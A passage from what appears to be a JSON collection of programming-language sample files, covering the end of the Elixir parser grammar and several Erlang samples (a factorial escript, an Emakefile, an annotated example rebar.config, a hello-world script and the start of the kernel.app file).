'$1'.\n\n% Dot operator\n\ndot_op -> '.' : '$1'.\ndot_op -> '.' eol : '$1'.\n\ndot_identifier -> identifier : '$1'.\ndot_identifier -> matched_expr dot_op identifier : build_dot('$2', '$1', '$3').\n\ndot_alias -> aliases : {'__aliases__', meta_from_token('$1', 0), ?exprs('$1')}.\ndot_alias -> matched_expr dot_op aliases : build_dot_alias('$2', '$1', '$3').\ndot_alias -> matched_expr dot_op dot_alias_container : build_dot_container('$2', '$1', '$3').\n\ndot_alias_container -> open_curly '}' : [].\ndot_alias_container -> open_curly container_args close_curly : '$2'.\n\ndot_op_identifier -> op_identifier : '$1'.\ndot_op_identifier -> matched_expr dot_op op_identifier : build_dot('$2', '$1', '$3').\n\ndot_do_identifier -> do_identifier : '$1'.\ndot_do_identifier -> matched_expr dot_op do_identifier : build_dot('$2', '$1', '$3').\n\ndot_bracket_identifier -> bracket_identifier : '$1'.\ndot_bracket_identifier -> matched_expr dot_op bracket_identifier : build_dot('$2', '$1', '$3').\n\ndot_paren_identifier -> paren_identifier : '$1'.\ndot_paren_identifier -> matched_expr dot_op paren_identifier : build_dot('$2', '$1', '$3').\n\nparens_call -> dot_paren_identifier : '$1'.\nparens_call -> matched_expr dot_call_op : {'.', meta_from_token('$2'), ['$1']}. % Fun/local calls\n\n% Function calls with no parentheses\n\ncall_args_no_parens_expr -> matched_expr : '$1'.\ncall_args_no_parens_expr -> no_parens_expr : throw_no_parens_many_strict('$1').\n\ncall_args_no_parens_comma_expr -> matched_expr ',' call_args_no_parens_expr : ['$3', '$1'].\ncall_args_no_parens_comma_expr -> call_args_no_parens_comma_expr ',' call_args_no_parens_expr : ['$3'|'$1'].\n\ncall_args_no_parens_all -> call_args_no_parens_one : '$1'.\ncall_args_no_parens_all -> call_args_no_parens_ambig : '$1'.\ncall_args_no_parens_all -> call_args_no_parens_many : '$1'.\n\ncall_args_no_parens_one -> call_args_no_parens_kw : ['$1'].\ncall_args_no_parens_one -> matched_expr : ['$1'].\n\ncall_args_no_parens_ambig -> no_parens_expr : ['$1'].\n\ncall_args_no_parens_many -> matched_expr ',' call_args_no_parens_kw : ['$1', '$3'].\ncall_args_no_parens_many -> call_args_no_parens_comma_expr : reverse('$1').\ncall_args_no_parens_many -> call_args_no_parens_comma_expr ',' call_args_no_parens_kw : reverse(['$3'|'$1']).\n\ncall_args_no_parens_many_strict -> call_args_no_parens_many : '$1'.\ncall_args_no_parens_many_strict -> open_paren call_args_no_parens_kw close_paren : throw_no_parens_strict('$1').\ncall_args_no_parens_many_strict -> open_paren call_args_no_parens_many close_paren : throw_no_parens_strict('$1').\n\nstab_parens_many -> open_paren call_args_no_parens_kw close_paren : ['$2'].\nstab_parens_many -> open_paren call_args_no_parens_many close_paren : '$2'.\n\n% Containers\n\ncontainer_expr -> matched_expr : '$1'.\ncontainer_expr -> unmatched_expr : '$1'.\ncontainer_expr -> no_parens_expr : throw_no_parens_container_strict('$1').\n\ncontainer_args_base -> container_expr : ['$1'].\ncontainer_args_base -> container_args_base ',' container_expr : ['$3'|'$1'].\n\ncontainer_args -> container_args_base : lists:reverse('$1').\ncontainer_args -> container_args_base ',' : lists:reverse('$1').\ncontainer_args -> container_args_base ',' kw : lists:reverse(['$3'|'$1']).\n\n% Function calls with parentheses\n\ncall_args_parens_expr -> matched_expr : '$1'.\ncall_args_parens_expr -> unmatched_expr : '$1'.\ncall_args_parens_expr -> no_parens_expr : throw_no_parens_many_strict('$1').\n\ncall_args_parens_base -> call_args_parens_expr : ['$1'].\ncall_args_parens_base -> call_args_parens_base ',' call_args_parens_expr : ['$3'|'$1'].\n\ncall_args_parens -> empty_paren : [].\ncall_args_parens -> open_paren no_parens_expr close_paren : ['$2'].\ncall_args_parens -> open_paren kw close_paren : ['$2'].\ncall_args_parens -> open_paren call_args_parens_base close_paren : reverse('$2').\ncall_args_parens -> open_paren call_args_parens_base ',' kw close_paren : reverse(['$4'|'$2']).\n\n% KV\n\nkw_eol -> kw_identifier : ?exprs('$1').\nkw_eol -> kw_identifier eol : ?exprs('$1').\nkw_eol -> kw_identifier_safe : build_quoted_atom('$1', true).\nkw_eol -> kw_identifier_safe eol : build_quoted_atom('$1', true).\nkw_eol -> kw_identifier_unsafe : build_quoted_atom('$1', false).\nkw_eol -> kw_identifier_unsafe eol : build_quoted_atom('$1', false).\n\nkw_base -> kw_eol container_expr : [{'$1', '$2'}].\nkw_base -> kw_base ',' kw_eol container_expr : [{'$3', '$4'}|'$1'].\n\nkw -> kw_base : reverse('$1').\nkw -> kw_base ',' : reverse('$1').\n\ncall_args_no_parens_kw_expr -> kw_eol matched_expr : {'$1', '$2'}.\ncall_args_no_parens_kw_expr -> kw_eol no_parens_expr : {'$1', '$2'}.\n\ncall_args_no_parens_kw -> call_args_no_parens_kw_expr : ['$1'].\ncall_args_no_parens_kw -> call_args_no_parens_kw_expr ',' call_args_no_parens_kw : ['$1'|'$3'].\n\n% Lists\n\nlist_args -> kw : '$1'.\nlist_args -> container_args_base : reverse('$1').\nlist_args -> container_args_base ',' : reverse('$1').\nlist_args -> container_args_base ',' kw : reverse('$1', '$3').\n\nlist -> open_bracket ']' : build_list('$1', []).\nlist -> open_bracket list_args close_bracket : build_list('$1', '$2').\n\n% Tuple\n\ntuple -> open_curly '}' : build_tuple('$1', []).\ntuple -> open_curly container_args close_curly :  build_tuple('$1', '$2').\n\n% Bitstrings\n\nbit_string -> open_bit '>>' : build_bit('$1', []).\nbit_string -> open_bit container_args close_bit : build_bit('$1', '$2').\n\n% Map and structs\n\n%% Allow unquote/@something/aliases inside maps and structs.\nmap_expr -> max_expr : '$1'.\nmap_expr -> dot_identifier : build_identifier('$1', nil).\nmap_expr -> at_op_eol map_expr : build_unary_op('$1', '$2').\n\nassoc_op_eol -> assoc_op : '$1'.\nassoc_op_eol -> assoc_op eol : '$1'.\n\nassoc_expr -> matched_expr assoc_op_eol matched_expr : {'$1', '$3'}.\nassoc_expr -> unmatched_expr assoc_op_eol unmatched_expr : {'$1', '$3'}.\nassoc_expr -> matched_expr assoc_op_eol unmatched_expr : {'$1', '$3'}.\nassoc_expr -> unmatched_expr assoc_op_eol matched_expr : {'$1', '$3'}.\nassoc_expr -> map_expr : '$1'.\n\nassoc_update -> matched_expr pipe_op_eol assoc_expr : {'$2', '$1', ['$3']}.\nassoc_update -> unmatched_expr pipe_op_eol assoc_expr : {'$2', '$1', ['$3']}.\n\nassoc_update_kw -> matched_expr pipe_op_eol kw : {'$2', '$1', '$3'}.\nassoc_update_kw -> unmatched_expr pipe_op_eol kw : {'$2', '$1', '$3'}.\n\nassoc_base -> assoc_expr : ['$1'].\nassoc_base -> assoc_base ',' assoc_expr : ['$3'|'$1'].\n\nassoc -> assoc_base : reverse('$1').\nassoc -> assoc_base ',' : reverse('$1').\n\nmap_op -> '%{}' : '$1'.\nmap_op -> '%{}' eol : '$1'.\n\nmap_close -> kw close_curly : '$1'.\nmap_close -> assoc close_curly : '$1'.\nmap_close -> assoc_base ',' kw close_curly : reverse('$1', '$3').\n\nmap_args -> open_curly '}' : build_map('$1', []).\nmap_args -> open_curly map_close : build_map('$1', '$2').\nmap_args -> open_curly assoc_update close_curly : build_map_update('$1', '$2', []).\nmap_args -> open_curly assoc_update ',' close_curly : build_map_update('$1', '$2', []).\nmap_args -> open_curly assoc_update ',' map_close : build_map_update('$1', '$2', '$4').\nmap_args -> open_curly assoc_update_kw close_curly : build_map_update('$1', '$2', []).\n\nstruct_op -> '%' : '$1'.\n\nmap -> map_op map_args : '$2'.\nmap -> struct_op map_expr map_args : {'%', meta_from_token('$1'), ['$2', '$3']}.\nmap -> struct_op map_expr eol map_args : {'%', meta_from_token('$1'), ['$2', '$4']}.\n\nErlang code.\n\n-define(file(), get(elixir_parser_file)).\n-define(id(Token), element(1, Token)).\n-define(location(Token), element(2, Token)).\n-define(exprs(Token), element(3, Token)).\n-define(meta(Node), element(2, Node)).\n-define(rearrange_uop(Op), (Op == 'not' orelse Op == '!')).\n\n%% The following directive is needed for (significantly) faster\n%% compilation of the generated .erl file by the HiPE compiler\n-compile([{hipe, [{regalloc, linear_scan}]}]).\n-import(lists, [reverse/1, reverse/2]).\n\nmeta_from_token(Token, Counter) -> [{counter, Counter}|meta_from_token(Token)].\nmeta_from_token(Token) -> meta_from_location(?location(Token)).\n\nmeta_from_location({Line, Column, EndColumn})\n  when is_integer(Line), is_integer(Column), is_integer(EndColumn) -> [{line, Line}].\n\n%% Operators\n\nbuild_op({_Kind, Location, 'in'}, {UOp, _, [Left]}, Right) when ?rearrange_uop(UOp) ->\n  {UOp, meta_from_location(Location), [{'in', meta_from_location(Location), [Left, Right]}]};\n\nbuild_op({_Kind, Location, Op}, Left, Right) ->\n  {Op, meta_from_location(Location), [Left, Right]}.\n\nbuild_unary_op({_Kind, Location, Op}, Expr) ->\n  {Op, meta_from_location(Location), [Expr]}.\n\nbuild_list(Marker, Args) ->\n  {Args, ?location(Marker)}.\n\nbuild_tuple(_Marker, [Left, Right]) ->\n  {Left, Right};\nbuild_tuple(Marker, Args) ->\n  {'{}', meta_from_token(Marker), Args}.\n\nbuild_bit(Marker, Args) ->\n  {'<<>>', meta_from_token(Marker), Args}.\n\nbuild_map(Marker, Args) ->\n  {'%{}', meta_from_token(Marker), Args}.\n\nbuild_map_update(Marker, {Pipe, Left, Right}, Extra) ->\n  {'%{}', meta_from_token(Marker), [build_op(Pipe, Left, Right ++ Extra)]}.\n\n%% Blocks\n\nbuild_block([{Op, _, [_]}]=Exprs) when ?rearrange_uop(Op) -> {'__block__', [], Exprs};\nbuild_block([{unquote_splicing, _, Args}]=Exprs) when\n                                      length(Args) =< 2 -> {'__block__', [], Exprs};\nbuild_block([Expr])                                     -> Expr;\nbuild_block(Exprs)                                      -> {'__block__', [], Exprs}.\n\n%% Dots\n\nbuild_dot_alias(Dot, {'__aliases__', _, Left}, {'aliases', _, Right}) ->\n  {'__aliases__', meta_from_token(Dot), Left ++ Right};\n\nbuild_dot_alias(_Dot, Atom, {'aliases', _, _} = Token) when is_atom(Atom) ->\n  throw_bad_atom(Token);\n\nbuild_dot_alias(Dot, Other, {'aliases', _, Right}) ->\n  {'__aliases__', meta_from_token(Dot), [Other|Right]}.\n\nbuild_dot_container(Dot, Left, Right) ->\n  Meta = meta_from_token(Dot),\n  {{'.', Meta, [Left, '{}']}, Meta, Right}.\n\nbuild_dot(Dot, Left, Right) ->\n  {'.', meta_from_token(Dot), [Left, extract_identifier(Right)]}.\n\nextract_identifier({Kind, _, Identifier}) when\n    Kind == identifier; Kind == bracket_identifier; Kind == paren_identifier;\n    Kind == do_identifier; Kind == op_identifier ->\n  Identifier.\n\n%% Identifiers\n\nbuild_nested_parens(Dot, Args1, Args2) ->\n  Identifier = build_identifier(Dot, Args1),\n  Meta = ?meta(Identifier),\n  {Identifier, Meta, Args2}.\n\nbuild_identifier({'.', Meta, _} = Dot, Args) ->\n  FArgs = case Args of\n    nil -> [];\n    _ -> Args\n  end,\n  {Dot, Meta, FArgs};\n\nbuild_identifier({op_identifier, Location, Identifier}, [Arg]) ->\n  {Identifier, [{ambiguous_op, nil}|meta_from_location(Location)], [Arg]};\n\nbuild_identifier({_, Location, Identifier}, Args) ->\n  {Identifier, meta_from_location(Location), Args}.\n\n%% Fn\n\nbuild_fn(Op, [{'->', _, [_, _]}|_] = Stab) ->\n  {fn, meta_from_token(Op), build_stab(Stab)};\nbuild_fn(Op, _Stab) ->\n  throw(meta_from_token(Op), \"expected clauses to be defined with -> inside: \", \"'fn'\").\n\n%% Access\n\nbuild_access(Expr, {List, Location}) ->\n  Meta = meta_from_location(Location),\n  {{'.', Meta, ['Elixir.Access', get]}, Meta, [Expr, List]}.\n\n%% Interpolation aware\n\nbuild_sigil({sigil, Location, Sigil, Parts, Modifiers}) ->\n  Meta = meta_from_location(Location),\n  {list_to_atom(\"sigil_\" ++ [Sigil]), Meta, [{'<<>>', Meta, string_parts(Parts)}, Modifiers]}.\n\nbuild_bin_string({bin_string, _Location, [H]}) when is_binary(H) ->\n  H;\nbuild_bin_string({bin_string, Location, Args}) ->\n  {'<<>>', meta_from_location(Location), string_parts(Args)}.\n\nbuild_list_string({list_string, _Location, [H]}) when is_binary(H) ->\n  elixir_utils:characters_to_list(H);\nbuild_list_string({list_string, Location, Args}) ->\n  Meta = meta_from_location(Location),\n  {{'.', Meta, ['Elixir.String', to_char_list]}, Meta, [{'<<>>', Meta, string_parts(Args)}]}.\n\nbuild_quoted_atom({_, _Location, [H]}, Safe) when is_binary(H) ->\n  Op = binary_to_atom_op(Safe), erlang:Op(H, utf8);\nbuild_quoted_atom({_, Location, Args}, Safe) ->\n  Meta = meta_from_location(Location),\n  {{'.', Meta, [erlang, binary_to_atom_op(Safe)]}, Meta, [{'<<>>', Meta, string_parts(Args)}, utf8]}.\n\nbinary_to_atom_op(true)  -> binary_to_existing_atom;\nbinary_to_atom_op(false) -> binary_to_atom.\n\nstring_parts(Parts) ->\n  [string_part(Part) || Part <- Parts].\nstring_part(Binary) when is_binary(Binary) ->\n  Binary;\nstring_part({Location, Tokens}) ->\n  Form = string_tokens_parse(Tokens),\n  Meta = meta_from_location(Location),\n  {'::', Meta, [{{'.', Meta, ['Elixir.Kernel', to_string]}, Meta, [Form]}, {binary, Meta, nil}]}.\n\nstring_tokens_parse(Tokens) ->\n  case parse(Tokens) of\n    {ok, Forms} -> Forms;\n    {error, _} = Error -> throw(Error)\n  end.\n\n%% Keywords\n\nbuild_stab([{'->', Meta, [Left, Right]}|T]) ->\n  build_stab(Meta, T, Left, [Right], []);\n\nbuild_stab(Else) ->\n  build_block(Else).\n\nbuild_stab(Old, [{'->', New, [Left, Right]}|T], Marker, Temp, Acc) ->\n  H = {'->', Old, [Marker, build_block(reverse(Temp))]},\n  build_stab(New, T, Left, [Right], [H|Acc]);\n\nbuild_stab(Meta, [H|T], Marker, Temp, Acc) ->\n  build_stab(Meta, T, Marker, [H|Temp], Acc);\n\nbuild_stab(Meta, [], Marker, Temp, Acc) ->\n  H = {'->', Meta, [Marker, build_block(reverse(Temp))]},\n  reverse([H|Acc]).\n\n%% Every time the parser sees a (unquote_splicing())\n%% it assumes that a block is being spliced, wrapping\n%% the splicing in a __block__. But in the stab clause,\n%% we can have (unquote_splicing(1, 2, 3)) -> :ok, in such\n%% case, we don't actually want the block, since it is\n%% an arg style call. unwrap_splice unwraps the splice\n%% from such blocks.\nunwrap_splice([{'__block__', [], [{unquote_splicing, _, _}] = Splice}]) ->\n  Splice;\n\nunwrap_splice(Other) -> Other.\n\nunwrap_when(Args) ->\n  case elixir_utils:split_last(Args) of\n    {Start, {'when', Meta, [_, _] = End}} ->\n      [{'when', Meta, Start ++ End}];\n    {_, _} ->\n      Args\n  end.\n\nto_block([One]) -> One;\nto_block(Other) -> {'__block__', [], reverse(Other)}.\n\n%% Warnings and errors\n\nthrow(Meta, Error, Token) ->\n  Line =\n    case lists:keyfind(line, 1, Meta) of\n      {line, L} -> L;\n      false -> 0\n    end,\n  throw({error, {Line, ?MODULE, [Error, Token]}}).\n\nthrow_bad_atom(Token) ->\n  throw(meta_from_token(Token), \"atom cannot be followed by an alias. If the '.' was meant to be \"\n    \"part of the atom's name, the atom name must be quoted. Syntax error before: \", \"'.'\").\n\nthrow_no_parens_strict(Token) ->\n  throw(meta_from_token(Token), \"unexpected parentheses. If you are making a \"\n    \"function call, do not insert spaces between the function name and the \"\n    \"opening parentheses. Syntax error before: \", \"'('\").\n\nthrow_no_parens_many_strict(Node) ->\n  throw(?meta(Node),\n    \"unexpected comma. Parentheses are required to solve ambiguity in nested calls.\\n\\n\"\n    \"This error happens when you have nested function calls without parentheses. \"\n    \"For example:\\n\\n\"\n    \"    one a, two b, c, d\\n\\n\"\n    \"In the example above, we don't know if the parameters \\\"c\\\" and \\\"d\\\" apply \"\n    \"to the function \\\"one\\\" or \\\"two\\\". You can solve this by explicitly adding \"\n    \"parentheses:\\n\\n\"\n    \"    one a, two(b, c, d)\\n\\n\"\n    \"Elixir cannot compile otherwise. Syntax error before: \", \"','\").\n\nthrow_no_parens_container_strict(Node) ->\n  throw(?meta(Node),\n    \"unexpected comma. Parentheses are required to solve ambiguity inside containers.\\n\\n\"\n    \"This error may happen when you forget a comma in a list or other container:\\n\\n\"\n    \"    [a, b c, d]\\n\\n\"\n    \"Or when you have ambiguous calls:\\n\\n\"\n    \"    [one, two three, four, five]\\n\\n\"\n    \"In the example above, we don't know if the parameters \\\"four\\\" and \\\"five\\\" \"\n    \"belongs to the list or the function \\\"two\\\". You can solve this by explicitly \"\n    \"adding parentheses:\\n\\n\"\n    \"    [one, two(three, four), five]\\n\\n\"\n    \"Elixir cannot compile otherwise. Syntax error before: \", \"','\").\n\nthrow_invalid_kw_identifier({_, _, do} = Token) ->\n  throw(meta_from_token(Token), elixir_tokenizer:invalid_do_error(\"unexpected keyword \\\"do:\\\"\"), \"'do:'\");\nthrow_invalid_kw_identifier({_, _, KW} = Token) ->\n  throw(meta_from_token(Token), \"syntax error before: \", \"'\" ++ atom_to_list(KW) ++ \"':\").\n\n%% TODO: Make those warnings errors.\nwarn_empty_stab_clause({stab_op, {Line, _Begin, _End}, '->'}) ->\n  elixir_errors:warn(Line, ?file(),\n    \"an expression is always required on the right side of ->. \"\n    \"Please provide a value after ->\").\n\nwarn_pipe({arrow_op, {Line, _Begin, _End}, Op}, {_, [_|_], [_|_]}) ->\n  elixir_errors:warn(Line, ?file(),\n    io_lib:format(\n      \"you are piping into a function call without parentheses, which may be ambiguous. \"\n      \"Please wrap the function you are piping into in parentheses. For example:\\n\\n\"\n      \"    foo 1 ~ts bar 2 ~ts baz 3\\n\\n\"\n      \"Should be written as:\\n\\n\"\n      \"    foo(1) ~ts bar(2) ~ts baz(3)\\n\",\n      [Op, Op, Op, Op]\n    )\n  );\nwarn_pipe(_Token, _) ->\n  ok.\n"
  },
  {
    "path": "samples/Erlang/factorial",
    "content": "#!/usr/bin/env escript\n%% -*- erlang -*-\n%%! -smp enable -sname factorial -mnesia debug verbose\nmain([String]) ->\n    try\n        N = list_to_integer(String),\n        F = fac(N),\n        io:format(\"factorial ~w = ~w\\n\", [N,F])\n    catch\n        _:_ ->\n            usage()\n    end;\nmain(_) ->\n    usage().\n\nusage() ->\n    io:format(\"usage: factorial integer\\n\"),\n    halt(1).\n\nfac(0) -> 1;\nfac(N) -> N * fac(N-1).\n"
  },
  {
    "path": "samples/Erlang/filenames/Emakefile",
    "content": "{\"src/*\", [\n   report, \n   verbose, \n   {i, \"include\"}, \n   {outdir, \"ebin\"},\n   debug_info \n]}.\n"
  },
  {
    "path": "samples/Erlang/filenames/rebar.config",
    "content": "%% -*- mode: erlang;erlang-indent-level: 4;indent-tabs-mode: nil -*-\n%% ex: ts=4 sw=4 ft=erlang et\n%% This is a sample rebar.conf file that shows examples of some of rebar's\n%% options.\n\n%% == Core ==\n\n%% Extend list of always recursive commands\n{recursive_cmds, []}.\n\n%% Check required ERTS or OTP release version\n{require_erts_vsn, \".*\"}.\n{require_otp_vsn, \".*\"}.\n{require_min_otp_vsn, \".*\"}.\n\n%% Additional library directories to add to the code path\n{lib_dirs, []}.\n\n%% == Erlang Compiler ==\n\n%% Erlang files to compile before the rest. Rebar automatically compiles\n%% parse_transforms and custom behaviours before anything other than the files\n%% in this list.\n{erl_first_files, [\"src/mymib1.erl\", \"src/mymib2.erl\"]}.\n\n%% Erlang compiler options\n{erl_opts, [no_debug_info,\n            {i, \"myinclude\"},\n            {src_dirs, [\"src\", \"src2\", \"src3\"]},\n            {platform_define,\n             \"(linux|solaris|freebsd|darwin)\", 'HAVE_SENDFILE'},\n            {platform_define, \"(linux|freebsd)\", 'BACKLOG', 128},\n            {platform_define, \"R13\", 'old_inets'}]}.\n\n%% MIB Options?\n{mib_opts, []}.\n\n%% SNMP mibs to compile first?\n{mib_first_files, []}.\n\n%% leex options\n{xrl_opts, []}.\n\n%% leex files to compile first\n{xrl_first_files, []}.\n\n%% yecc options\n{yrl_opts, []}.\n\n%% yecc files to compile first\n{yrl_first_files, []}.\n\n%% == EDoc ==\n\n%% EDoc options\n{edoc_opts, []}.\n\n%% == Port Compiler ==\n\n%% Port compilation environment variables. See rebar_port_compiler.erl for\n%% more info. Default is `[]'\n{port_env, [{\"CFLAGS\", \"$CFLAGS -Ifoo\"},\n            {\"freebsd\", \"LDFLAGS\", \"$LDFLAGS -lfoo\"}]}.\n\n%% port_specs\n%% List of filenames or wildcards to be compiled. May also contain a tuple\n%% consisting of a regular expression to be applied against the system\n%% architecture as a filter.\n{port_specs, [{\"priv/so_name.so\", [\"c_src/*.c\"]},\n              {\"linux\", \"priv/hello_linux\", [\"c_src/hello_linux.c\"]},\n              {\"linux\", \"priv/hello_linux\", [\"c_src/*.c\"], [{env, []}]}]}.\n\n%% == escriptize ==\n{escript_name, \"application\"}.\n{escript_incl_apps, []}.\n{escript_shebang, \"#!/usr/bin/env escript\\n\"}.\n{escript_comment, \"%%\\n\"}.\n{escript_emu_args, \"%%! -pa application/application/ebin\\n\"}.\n\n%% == LFE Compiler ==\n\n%% LFE files to compile before the rest\n{lfe_first_files, []}.\n\n%% Options for the LFE compiler: reuse {erl_opts, []}\n\n%% == ErlyDTL Compiler ==\n\n%% Options for the ErlyDTL compiler\n{erlydtl_opts, []}.\n\n%% == Proto compiler ==\n{proto_opts, [\n    {compiler, protobuffs},\n    {src_dirs, [\"src\"]}\n]}.\n%% Available compilers for protocol buffer files (*.proto):\n%%   protobuffs  (default)\n%%   gpb\n%% Optional src_dirs which is a list of directories where\n%% to look for .proto files, default is src\n\n%% Options for the gpb protocol buffer compiler,\n%% if selected by the proto_compiler option\n{gpb_opts, []}.\n\n%% == EUnit ==\n\n%% Options for eunit:test()\n{eunit_opts, []}.\n\n%% Additional compile options for eunit. erl_opts is also used\n{eunit_compile_opts, []}.\n\n%% Same as erl_first_files, but used only when running 'eunit'\n{eunit_first_files, []}.\n\n%% == Cover ==\n\n%% Whether to enable coverage reporting. Default is `false'\n{cover_enabled, false}.\n\n%% Whether to print coverage report to console. Default is `false'\n{cover_print_enabled, false}.\n\n%% Whether to export coverage report to file. Default is `false'\n{cover_export_enabled, false}.\n\n%% == Common Test ==\n\n%% Override the default \"test\" directory in which SUITEs are located\n{ct_dir, \"itest\"}.\n\n%% Override the default \"logs\" directory in which SUITEs are logged\n{ct_log_dir, \"test/logs\"}.\n\n%% Option to pass extra parameters when launching Common Test\n{ct_extra_params, \"-boot start_sasl -s myapp\"}.\n\n%% Option to use short names (i.e., -sname test) when starting ct\n{ct_use_short_names, true}.\n\n%% == QuickCheck ==\n\n%% If qc_mod is unspecified, rebar tries to detect Triq or EQC\n{qc_opts, [{qc_mod, module()}, Options]}.\n\n%% Additional compile options for qc. erl_opts is also used\n{qc_compile_opts, []}.\n\n%% Same as erl_first_files, but used only when running 'qc'\n{qc_first_files, []}.\n\n%% == Cleanup ==\n\n%% Which files to cleanup\n{clean_files, [\"file\", \"file2\"]}.\n\n%% == OTP Applications ==\n\n%% Enable validation of the OTP app module list. Default is 'true'\n{validate_app_modules, true}.\n\n%% == Dependencies ==\n\n%% Where to put any downloaded dependencies. Default is \"deps\"\n{deps_dir, \"deps\"}.\n\n%% What dependencies we have, dependencies can be of 3 forms, an application\n%% name as an atom, eg. mochiweb, a name and a version (from the .app file), or\n%% an application name, a version and the SCM details on how to fetch it (SCM\n%% type, location and revision).\n%% Rebar currently supports git, hg, bzr, svn, rsync, fossil, and p4.\n{deps, [app_name,\n        {rebar, \"1.0.*\"},\n        {rebar, \".*\",\n         {git, \"git://github.com/rebar/rebar.git\"}},\n        {rebar, \".*\",\n         {git, \"git://github.com/rebar/rebar.git\", \"Rev\"}},\n        {rebar, \"1.0.*\",\n         {git, \"git://github.com/rebar/rebar.git\", {branch, \"master\"}}},\n        {rebar, \"1.0.0\",\n         {git, \"git://github.com/rebar/rebar.git\", {tag, \"1.0.0\"}}},\n        %% Dependencies can be marked as 'raw'. Rebar does not require\n        %% such dependencies to have a standard Erlang/OTP layout\n        %% which assumes the presence of either\n        %% \"src/dependency_name.app.src\" or \"ebin/dependency_name.app\"\n        %% files.\n        %%\n        %% 'raw' dependencies can still contain 'rebar.config' and\n        %% even can have the proper OTP directory layout, but they\n        %% won't be compiled.\n        %%\n        %% Only a subset of rebar commands will be executed on the\n        %% 'raw' subdirectories: get-deps, update-deps, check-deps,\n        %% list-deps and delete-deps.\n        {rebar, \"\",\n         {git, \"git://github.com/rebar/rebar.git\", {branch, \"master\"}},\n         [raw]},\n        {app_name, \".*\", {hg, \"https://www.example.org/url\"}},\n        {app_name, \".*\", {rsync, \"Url\"}},\n        {app_name, \".*\", {svn, \"https://www.example.org/url\"}},\n        {app_name, \".*\", {svn, \"svn://svn.example.org/url\"}},\n        {app_name, \".*\", {bzr, \"https://www.example.org/url\", \"Rev\"}},\n        {app_name, \".*\", {fossil, \"https://www.example.org/url\"}},\n        {app_name, \".*\", {fossil, \"https://www.example.org/url\", \"Vsn\"}},\n        {app_name, \".*\", {p4, \"//depot/subdir/app_dir\"}}]}.\n\n%% == Subdirectories ==\n\n%% Subdirectories?\n{sub_dirs, [\"dir1\", \"dir2\"]}.\n\n%% == Plugins ==\n\n%% Plugins you wish to include.\n%% These can include any module on the code path, including deps.\n%% Alternatively, plugins can be placed as source files in the plugin_dir, in\n%% which case they will be compiled and loaded dynamically at runtime.\n{plugins, [plugin1, plugin2]}.\n\n%% Override the directory in which plugin sources can be found.\n%% Defaults to ./plugins\n{plugin_dir, \"some_other_directory\"}.\n\n\n%% == Pre/Post Command Hooks ==\n\n{pre_hooks, [{clean, \"./prepare_package_files.sh\"},\n             {\"linux\", compile, \"c_src/build_linux.sh\"},\n             {compile, \"escript generate_headers\"},\n             {compile, \"escript check_headers\"}]}.\n\n{post_hooks, [{clean, \"touch file1.out\"},\n              {\"freebsd\", compile, \"c_src/freebsd_tweaks.sh\"},\n              {eunit, \"touch file2.out\"},\n              {compile, \"touch postcompile.out\"}]}.\n\n%% == xref ==\n\n{xref_warnings, false}.\n\n%% optional extra paths to include in xref:set_library_path/2.\n%% specified relative location of rebar.config.\n%% e.g. {xref_extra_paths,[\"../gtknode/src\"]}\n{xref_extra_paths,[]}.\n\n%% xref checks to run\n{xref_checks, [undefined_function_calls, undefined_functions,\n               locals_not_used, exports_not_used,\n               deprecated_function_calls, deprecated_functions]}.\n\n%% Optional custom xref queries (xref manual has details) specified as\n%%     {xref_queries, [{query_string(), expected_query_result()},...]}\n%% The following for example removes all references to mod:*foo/4\n%% functions from undefined external function calls as those are in a\n%% generated module\n{xref_queries,\n [{\"(XC - UC) || (XU - X - B\"\n   \" - (\\\"mod\\\":\\\".*foo\\\"/\\\"4\\\"))\",[]}]}.\n"
  },
  {
    "path": "samples/Erlang/hello.escript",
    "content": "#!/usr/bin/env escript\n-export([main/1]).\n\nmain([]) -> io:format(\"Hello, World!~n\").\n"
  },
  {
    "path": "samples/Erlang/kernel.app",
    "content": "%%\n%% %CopyrightBegin%\n%%\n%% Copyright Ericsson AB 1996-2022. All Rights Reserved.\n%%\n%% Licensed under the Apache License, Version 2.0 (the \"License\");\n%% you may not use this file except in compliance with the License.\n%% You may obtain a copy of the License at\n%%\n%%     http://www.apache.org/licenses/LICENSE-2.0\n%%\n%% Unless required by applicable law or agreed to in writing, software\n%% distributed under the License is distributed on an \"AS IS\" BASIS,\n%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n%% See the License for the specific language governing permissions and\n%% limitations under the License.\n%%\n%% %CopyrightEnd%\n%%\n%% This is an -*- erlang -*- file.\n%%\n{application, kernel,\n    [\n        {description, \"ERTS  CXC 138 10\"},\n        {vsn, \"8.5.2\"},\n        {modules, [application,\n            application_controller,\n            application_master,\n            application_starter,\n            auth,\n            code,\n            code_server,\n            dist_util,\n            erl_boot_server,\n            erl_compile_server,\n            erl_distribution,\n            erl_erts_errors,\n            erl_reply,\n            erl_kernel_errors,\n            erl_signal_handler,\n            erpc,\n            error_handler,\n            error_logger,\n            file,\n            file_server,\n            file_io_server,\n            global,\n            global_group,\n            global_search,\n            group,\n            group_history,\n            heart,\n            inet6_tcp,\n            inet6_tcp_dist,\n            inet6_udp,\n            inet6_sctp,\n            inet_config,\n            inet_hosts,\n            inet_gethost_native,\n            inet_tcp_dist,\n            kernel,\n            kernel_config,\n            kernel_refc,\n            local_tcp,\n            local_udp,\n            logger,\n            logger_backend,\n            logger_config,\n            logger_disk_log_h,\n            logger_filters,\n            logger_formatter,\n            logger_h_common,\n            logger_handler_watcher,\n            logger_olp,\n            logger_proxy,\n            logger_server,\n            logger_simple_h,\n            logger_std_h,\n            logger_sup,\n            net,\n            net_adm,\n            net_kernel,\n            os,\n            ram_file,\n            rpc,\n            user_drv,\n            user_sup,\n            prim_tty,\n            disk_log,\n            disk_log_1,\n            disk_log_server,\n            disk_log_sup,\n            dist_ac,\n            erl_ddll,\n            erl_epmd,\n            erts_debug,\n            gen_tcp,\n            gen_tcp_socket,\n            gen_udp,\n            gen_udp_socket,\n            gen_sctp,\n            inet,\n            inet_db,\n            inet_dns,\n            inet_parse,\n            inet_res,\n            inet_tcp,\n            inet_udp,\n            inet_sctp,\n            pg,\n            pg2,\n            raw_file_io,\n            raw_file_io_compressed,\n            raw_file_io_deflate,\n            raw_file_io_delayed,\n            raw_file_io_inflate,\n            raw_file_io_list,\n            seq_trace,\n            socket,\n            standard_error,\n            wrap_log_reader]},\n        {registered, [application_controller,\n            erl_reply,\n            auth,\n            boot_server,\n            code_server,\n            disk_log_server,\n            disk_log_sup,\n            erl_prim_loader,\n            error_logger,\n            file_server_2,\n            fixtable_server,\n            global_group,\n            global_name_server,\n            